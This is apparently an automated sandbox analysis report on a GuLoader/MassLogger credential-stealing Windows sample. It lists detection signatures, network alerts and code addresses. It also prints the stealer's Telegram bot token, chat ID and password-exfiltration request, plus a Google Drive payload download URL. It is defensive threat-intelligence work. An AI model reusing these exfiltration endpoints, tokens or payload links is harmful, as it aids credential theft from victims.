Edit tour

Windows Analysis Report
14lVOjBoI2.exe

Overview

General Information

Sample name:	14lVOjBoI2.exe renamed because original name is a hash value
Original sample name:	ad3b51ce98d8e69775168649d8b4ffbee80c182b3fdb6cfa7f964548c70e9e75.exe
Analysis ID:	1588928
MD5:	ebf8a74191898b4a5cd58ffe2035c1ee
SHA1:	d73223724a73b0f7c3d0889247c50f97818ca4c0
SHA256:	ad3b51ce98d8e69775168649d8b4ffbee80c182b3fdb6cfa7f964548c70e9e75
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

14lVOjBoI2.exe (PID: 7572 cmdline: "C:\Users\user\Desktop\14lVOjBoI2.exe" MD5: EBF8A74191898B4A5CD58FFE2035C1EE)

14lVOjBoI2.exe (PID: 8088 cmdline: "C:\Users\user\Desktop\14lVOjBoI2.exe" MD5: EBF8A74191898B4A5CD58FFE2035C1EE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco", "Telegram Chatid": "6897585916"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2119760895.0000000002A1A000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000005.00000002.2643645497.00000000017DA000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: 14lVOjBoI2.exe PID: 8088	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: 14lVOjBoI2.exe PID: 8088	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 14lVOjBoI2.exe PID: 8088	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 3 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:20:28.673274+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49713	149.154.167.220	443	TCP
2025-01-11T07:20:32.352743+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49715	149.154.167.220	443	TCP
2025-01-11T07:20:33.907815+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49717	149.154.167.220	443	TCP
2025-01-11T07:20:36.397639+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49719	149.154.167.220	443	TCP
2025-01-11T07:20:37.992261+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49721	149.154.167.220	443	TCP
2025-01-11T07:20:39.600046+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49723	149.154.167.220	443	TCP
2025-01-11T07:20:41.250577+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49725	149.154.167.220	443	TCP
2025-01-11T07:20:45.361029+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49727	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:20:15.627680+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49711	132.226.247.73	80	TCP
2025-01-11T07:20:25.191376+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49711	132.226.247.73	80	TCP
2025-01-11T07:20:27.737418+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49711	132.226.247.73	80	TCP
2025-01-11T07:20:31.424576+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49714	132.226.247.73	80	TCP
2025-01-11T07:20:33.112153+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49716	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:20:01.715417+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49709	142.250.185.142	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:20:28.407804+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49713	149.154.167.220	443	TCP
2025-01-11T07:20:32.009754+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49715	149.154.167.220	443	TCP
2025-01-11T07:20:33.688144+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49717	149.154.167.220	443	TCP
2025-01-11T07:20:36.194186+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49719	149.154.167.220	443	TCP
2025-01-11T07:20:37.707556+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49721	149.154.167.220	443	TCP
2025-01-11T07:20:39.294053+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49723	149.154.167.220	443	TCP
2025-01-11T07:20:40.942200+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49725	149.154.167.220	443	TCP
2025-01-11T07:20:45.052385+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49727	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31de218acfdcHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036792000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036732000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.000000003658F000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036792000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.000000003658F000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036584000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036792000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036732000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036511000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2649241318.0000000005FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 14lVOjBoI2.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.00000000365A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036792000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036732000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897
Source: 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: 14lVOjBoI2.exe, 00000005.00000002.2649241318.0000000005FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: 14lVOjBoI2.exe, 00000005.00000002.2649241318.0000000005FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?
Source: 14lVOjBoI2.exe, 00000005.00000002.2649241318.0000000005FE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1H9-NX9FTfhx7ES6nhfZpdxVzAkPSYSRn
Source: 14lVOjBoI2.exe, 00000005.00000002.2649241318.000000000601C000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2277509572.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: 14lVOjBoI2.exe, 00000005.00000003.2246178651.0000000006022000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2649241318.0000000005FA8000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2277509572.0000000006022000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1H9-NX9FTfhx7ES6nhfZpdxVzAkPSYSRn&export=download
Source: 14lVOjBoI2.exe, 00000005.00000003.2277509572.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1H9-NX9FTfhx7ES6nhfZpdxVzAkPSYSRn&export=downloadcn
Source: 14lVOjBoI2.exe, 00000005.00000003.2277509572.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1H9-NX9FTfhx7ES6nhfZpdxVzAkPSYSRn&export=downloadzF
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.000000003658F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.000000003658F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 14lVOjBoI2.exe, 00000005.00000002.2670933518.000000003658F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: 14lVOjBoI2.exe, 00000005.00000003.2246178651.0000000006022000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: 14lVOjBoI2.exe, 00000005.00000003.2246178651.0000000006022000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: 14lVOjBoI2.exe, 00000005.00000003.2246178651.0000000006022000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: 14lVOjBoI2.exe, 00000005.00000003.2246178651.0000000006022000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: 14lVOjBoI2.exe, 00000005.00000003.2246178651.0000000006022000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49713 version: TLS 1.2

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Code function: 0_2_004052F3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052F3

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_392C3D01 NtAllocateVirtualMemory,	5_2_392C3D01
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_392C3D40 NtAllocateVirtualMemory,	5_2_392C3D40
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_392C3CE0 NtAllocateVirtualMemory,	5_2_392C3CE0

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004032A0

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 0_2_00404B30	0_2_00404B30
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 0_2_00407041	0_2_00407041
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 0_2_0040686A	0_2_0040686A
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_00407041	5_2_00407041
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_0040686A	5_2_0040686A
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_00404B30	5_2_00404B30
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_00114328	5_2_00114328
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_001127B9	5_2_001127B9
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_00118DA0	5_2_00118DA0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_00115F90	5_2_00115F90
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_00112DD1	5_2_00112DD1
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D758F0	5_2_38D758F0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D77848	5_2_38D77848
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D703AF	5_2_38D703AF
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7331B	5_2_38D7331B
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7CCA0	5_2_38D7CCA0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7C638	5_2_38D7C638
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7F044	5_2_38D7F044
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7B07F	5_2_38D7B07F
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D769CB	5_2_38D769CB
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7C1F2	5_2_38D7C1F2
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7B930	5_2_38D7B930
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7DA89	5_2_38D7DA89
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D76A43	5_2_38D76A43
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7EBF7	5_2_38D7EBF7
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7E339	5_2_38D7E339
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7B4EC	5_2_38D7B4EC
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7CC8E	5_2_38D7CC8E
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7BD88	5_2_38D7BD88
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7DEE1	5_2_38D7DEE1
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D76EA0	5_2_38D76EA0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7E79F	5_2_38D7E79F
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D77F09	5_2_38D77F09
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCA9B0	5_2_38DCA9B0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC6368	5_2_38DC6368
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCA360	5_2_38DCA360
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCBDF0	5_2_38DCBDF0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC9D10	5_2_38DC9D10
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC96C8	5_2_38DC96C8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC8650	5_2_38DC8650
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC20F8	5_2_38DC20F8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC1858	5_2_38DC1858
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC184C	5_2_38DC184C
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC0040	5_2_38DC0040
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC7070	5_2_38DC7070
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC7061	5_2_38DC7061
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC4814	5_2_38DC4814
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC4820	5_2_38DC4820
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC29B8	5_2_38DC29B8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCA9AF	5_2_38DCA9AF
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC29A8	5_2_38DC29A8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC2108	5_2_38DC2108
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCEAF9	5_2_38DCEAF9
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCBA97	5_2_38DCBA97
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC5AB8	5_2_38DC5AB8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC5AA8	5_2_38DC5AA8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC3268	5_2_38DC3268
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC5208	5_2_38DC5208
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC5207	5_2_38DC5207
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC43C8	5_2_38DC43C8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC13F0	5_2_38DC13F0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC43B9	5_2_38DC43B9
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCA35F	5_2_38DCA35F
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC6358	5_2_38DC6358
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC7B4F	5_2_38DC7B4F
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC3B18	5_2_38DC3B18
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC3B08	5_2_38DC3B08
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DCEB08	5_2_38DCEB08
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC74C8	5_2_38DC74C8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC74B8	5_2_38DC74B8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC1CB0	5_2_38DC1CB0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC1CA0	5_2_38DC1CA0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC6C18	5_2_38DC6C18
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC6C09	5_2_38DC6C09
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC1400	5_2_38DC1400
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC4DB0	5_2_38DC4DB0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC4DB2	5_2_38DC4DB2
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC2550	5_2_38DC2550
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC2560	5_2_38DC2560
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC9D0B	5_2_38DC9D0B
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC36C0	5_2_38DC36C0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC96C3	5_2_38DC96C3
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC36B0	5_2_38DC36B0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC5650	5_2_38DC5650
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38DC8640	5_2_38DC8640
